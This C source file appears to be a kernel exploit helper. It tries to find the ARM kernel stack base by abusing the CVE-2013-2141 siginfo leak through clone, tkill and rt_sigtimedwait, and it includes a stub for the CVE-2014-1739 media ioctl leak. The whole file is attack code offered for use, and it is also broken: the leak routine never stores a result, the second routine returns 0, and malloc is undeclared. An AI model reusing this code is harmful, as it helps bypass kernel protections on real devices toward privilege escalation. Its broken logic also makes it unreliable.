
#include <sys/types.h>
#include <unistd.h>
#include <linux/sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdio.h>

static void *dummy(void *param) {
    usleep(99999999);
    return 0;
}

static unsigned long kstack_base_get_cve20132141() {
    pid_t tid;
    int ret = 0, i, rc, pg;
    unsigned long test;
    void *stack;
    sigset_t sigset;
    siginfo_t siginfo = {};

    rc = sigprocmask(0, 0, &sigset);
    if (rc < 0) {
        perror("sigprocmask");
        goto fail_sigprocmask;
    }
    pg = sysconf(_SC_PAGESIZE);
    stack = malloc(pg);
    if (!stack) {
        perror("malloc");
        goto fail_malloc;
    }
    rc = syscall(__NR_clone, dummy, stack, CLONE_THREAD | CLONE_VM | CLONE_SIGHAND, 0, 0, 0, 0);
    if (rc < 0) {
        perror("clone");
        goto fail_clone;
    }
    tid = (pid_t) rc;
    rc = syscall(__NR_tkill, tid, SIGTERM);
    if (rc < 0) {
        perror("tkill");
        goto fail_tkill;
    }
    rc = syscall(__NR_rt_sigtimedwait, &sigset, &siginfo, 0, sizeof(sigset_t));
    if (rc < 0) {
        perror("sigwaitinfo");
        goto fail_sigwaitinfo;
    }
#ifdef __arm__
    for (i = 0; i < sizeof(siginfo) / sizeof(unsigned long); i++) {
        test = *((unsigned long *) &siginfo + i);
    }
#else
#error "Not implemented yet."
#endif
fail_sigwaitinfo:
fail_tkill:
fail_clone:
    free(stack);
fail_malloc:
fail_sigprocmask:
    return ret;
}

struct media_entity_desc {
	__u32 id;
	char name[32];
	__u32 type;
	__u32 revision;
	__u32 flags;
	__u32 group_id;
	__u16 pads;
	__u16 links;

	__u32 reserved[4];

	union {
		/* Node specifications */
		struct {
			__u32 major;
			__u32 minor;
		} v4l;
		struct {
			__u32 major;
			__u32 minor;
		} fb;
		struct {
			__u32 card;
			__u32 device;
			__u32 subdevice;
		} alsa;
		int dvb;

		/* Sub-device specifications */
		/* Nothing needed yet */
		__u8 raw[184];
	};
};

#define MEDIA_IOC_ENUM_ENTITIES		_IOWR('|', 0x01, struct media_entity_desc)
#define MEDIA_ENT_ID_FLAG_NEXT      (1 << 31)

static unsigned long kstack_base_get_cve20141739() {
    return 0;
}

unsigned long kstack_base_get() {
    unsigned long ret;

    ret = kstack_base_get_cve20132141();
#ifdef __arm__
    if (ret >= 0xbf000000)
        return ret;
#endif
    ret = kstack_base_get_cve20141739();
#ifdef __arm__
    if (ret >= 0xbf000000)
        return ret;
#endif
    return 0;
}

int main() {
    kstack_base_get();
    return 0;
}
